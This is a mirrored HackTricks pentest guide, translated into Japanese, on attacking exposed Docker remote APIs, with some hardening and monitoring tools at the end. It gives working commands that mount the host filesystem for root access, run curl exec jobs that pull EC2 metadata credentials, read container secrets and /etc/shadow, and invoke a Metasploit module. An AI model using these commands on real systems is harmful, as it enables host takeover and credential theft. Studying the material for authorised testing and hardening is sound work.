Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/2375-pentesting-docker.md
Translator workflow e90c803209 Translated to Japanese
2023-07-07 23:42:27 +00:00

27 KiB
Raw Blame History

2375, 2376 Dockerのペンテスト

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Dockerの基礎

Dockerとは

Dockerプラットフォームは、連続的で高速なイノベーションを実現する業界をリードするコンテナプラットフォームであり、組織がレガシーから次のものまで、どんなアプリケーションでもシームレスに構築し共有し、どこでも安全に実行できるようにします。

Dockerの基本的なアーキテクチャ

この情報はこちらから取得しました。

  • containerdは、コンテナのライフサイクル全体を管理できるコンテナランタイムです。イメージの転送/ストレージからコンテナの実行、監視、ネットワーキングまでを担当します。containerdについての詳細は以下を参照してください。
  • container-shimはヘッドレスコンテナを処理します。つまり、runcがコンテナを初期化すると、コンテナをコンテナシムに渡して中間人として機能します。
  • runcは、OCI仕様に準拠した軽量なユニバーサルランタイムコンテナです。runcは、OCI仕様に従ってコンテナを生成および実行するためにcontainerdによって使用されます。また、libcontainerの再パッケージングでもあります。
  • grpcは、containerdとdocker-engineの間の通信に使用されます。
  • OCIは、ランタイムとイメージのためのOCI仕様を維持しています。現在のDockerのバージョンはOCIイメージとランタイムの仕様をサポートしています。

runC, containerD

基本的なコマンド

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerdは、DockerやKubernetesだけでなく、Linux、Windows、Solaris、その他のOS上でコンテナを実行するために、システムコールやOS固有の機能を抽象化することを望む他のコンテナプラットフォームでも使用できるように設計されました。これらのユーザーを考慮して、containerdには必要なものだけが含まれており、不要なものは含まれていません。現実的にはこれは不可能ですが、少なくともそれを目指しています。ネットワーキングなどの機能はcontainerdの範囲外です。その理由は、分散システムを構築する際にネットワーキングが非常に重要な要素であるためです。SDNやサービスディスカバリの現在、ネットワーキングはLinux上のnetlink呼び出しを抽象化する以上にプラットフォーム固有のものです。

なお、DockerはContainerdを使用していますが、ContainerdはDockerのネットワーク管理機能を持っていないため、Containerd単体ではDockerスワームを作成することはできません。

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

情報 ここから

Podmanは、オープンソースでOCI（Open Container Initiative）に準拠したコンテナエンジンです。Red Hatによって開発され、Dockerとは異なるいくつかの主な違いがあります。例えば、デーモンレスのアーキテクチャとルートレスコンテナのサポートです。基本的には、両方のツールは同じことを行います: イメージとコンテナの管理。Podmanの目標の1つは、Docker互換のAPIを持つことです。そのため、Docker CLIのほとんどのCLI（コマンドラインインターフェース）コマンドは、Podmanでも利用できます。

Podmanエコシステムには、BuildahとSkopeoという2つの他のツールがあります。Buildahは、コンテナイメージのビルドに使用されるCLIツールであり、Skopeoは、プッシュ、プル、またはインスペクトなどのイメージ操作を実行するCLIツールです。これらのツールとPodmanの関係についての詳細は、GitHubをご覧ください。

主な違い

DockerとPodmanの最大の違いは、アーキテクチャです。Dockerはクライアントサーバーアーキテクチャで動作し、Podmanはデーモンレスアーキテクチャで動作します。しかし、それはどういう意味でしょうか？Dockerを使用する場合、Docker CLIを使用する必要があり、Docker CLIはバックグラウンドデーモン（Dockerデーモン）と通信します。メインのロジックはデーモンにあり、イメージをビルドし、コンテナを実行します。このデーモンはルート権限で実行されます。一方、Podmanのアーキテクチャでは、コンテナを開始するユーザーの特権でコンテナが実行されます（fork/exec）。このユーザーにはルート権限は必要ありません。Podmanはデーモンレスアーキテクチャを持つため、Podmanを実行している各ユーザーは自分自身のコンテナしか見ることができず、変更することもできません。CLIツールが通信する共通のデーモンはありません。

Podmanにはデーモンがないため、バックグラウンドでコンテナを実行する方法が必要です。そのため、systemdとの統合を提供しており、systemdユニットを介してコンテナを制御できます。Podmanのバージョンによっては、既存のコンテナ用のユニットを生成したり、システムに存在しない場合にコンテナを作成できるユニットを生成したりすることができます。systemdとのもう1つの統合モデルでは、systemdをコンテナ内で実行できます。デフォルトでは、Dockerはデーモンプロセスを制御するためにsystemdを使用します。

2つ目の主な違いは、コンテナの実行方法です。Podmanでは、コンテナはデーモンではなくユーザーの特権で実行されます。この時点で、ルートレスコンテナの概念が登場します。つまり、コンテナはルート権限なしで起動できます。ルートレスコンテナは、ルート権限を持つコンテナと比べて非常に優れています（お察しの通り）。これにより、攻撃者がコンテナをキャプチャして脱出できた場合でも、この攻撃者はホスト上の通常のユーザーです。ユーザーによって開始されたコンテナは、ユーザー自体よりも多くの特権や機能を持つことはありません。これにより、自然な保護層が追加されます。

{% hint style="info" %} PodmanはDockerと同じAPIをサポートすることを目指しているため、dockerと同じコマンドをpodmanでも使用することができます。例えば:

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

基本情報

リモートAPIは、有効になっている場合にはデフォルトでポート2375で実行されます。デフォルトでは認証が必要なく、攻撃者は特権のあるDockerコンテナを起動することができます。リモートAPIを使用することで、ホスト/（ルートディレクトリ）をコンテナにアタッチし、ホスト環境のファイルを読み書きすることができます。

デフォルトポート： 2375

PORT    STATE SERVICE
2375/tcp open  docker

列挙

手動

Docker APIを列挙するためには、次の例のようにdockerコマンドまたはcurlを使用できます。

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

もしdockerコマンドでリモートのDocker APIに接続できる場合、サービスとのやり取りには以前コメントされたdockerコマンドのいずれかを実行することができます。

{% hint style="info" %} export DOCKER_HOST="tcp://localhost:2375"を使用して、dockerコマンドで-Hパラメータを使用しないようにすることもできます。 {% endhint %}

迅速な特権エスカレーション

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

時々、TLSエンドポイントの2376が利用可能になっていることがあります。私はdockerクライアントで接続することができませんでしたが、curlを使用してdocker APIに問題なくアクセスできます。

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

もし詳細情報が必要な場合は、コマンドをコピーした元の場所で詳細情報を入手できます：https://securityboulevard.com/2019/02/abusing-docker-api-socket/

自動化

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising（侵害）

以下のページでは、Dockerコンテナからの脱出方法を見つけることができます：

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

これを悪用することで、コンテナから脱出し、リモートマシンを侵害することができます：

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

特権昇格

もしDockerを使用しているホスト内にいる場合、特権昇格を試みるためにこの情報を読んでください。

実行中のDockerコンテナ内の秘密の発見

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

秘密情報を探すために、env（環境変数セクション）をチェックしてみてください。以下のものが見つかるかもしれません：

  • パスワード。
  • IPアドレス。
  • ポート番号。
  • パス。
  • その他...。

ファイルを抽出したい場合は、以下の手順を実行します：

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Dockerのセキュリティ強化

Dockerのインストールと使用のセキュリティ強化

  • https://github.com/docker/docker-bench-securityというツールを使用して、現在のDockerのインストールを調査することができます。
  • ./docker-bench-security.sh
  • https://github.com/kost/dockscanというツールを使用して、現在のDockerのインストールを調査することができます。
  • dockscan -v unix:///var/run/docker.sock
  • https://github.com/genuinetools/amicontainedというツールを使用して、異なるセキュリティオプションでコンテナを実行した場合のコンテナの特権を確認することができます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るために役立ちます。
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Dockerイメージのセキュリティ強化

  • https://github.com/quay/clairのDockerイメージを使用して、他のDockerイメージをスキャンし、脆弱性を検出することができます。
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Dockerfileのセキュリティ強化

  • https://github.com/hadolint/hadolintというツールを使用して、Dockerfileを検査し、さまざまな設定ミスを見つけることができます。
  • hadolint Dockerfile

不審なアクティビティのログ記録

  • https://github.com/falcosecurity/falcoというツールを使用して、実行中のコンテナで不審な動作を検出することができます。
  • 次のチャンクでは、Falcoがカーネルモジュールをコンパイルして挿入する方法、その後ルールをロードして不審なアクティビティを記録する方法が示されています。この場合、特権コンテナが2つ開始され、そのうちの1つがセンシティブなマウントを持っていることが検出され、数秒後にはコンテナ内でシェルが開かれたことが検出されました。
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Dockerの監視

Dockerを監視するために、auditdを使用することができます。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥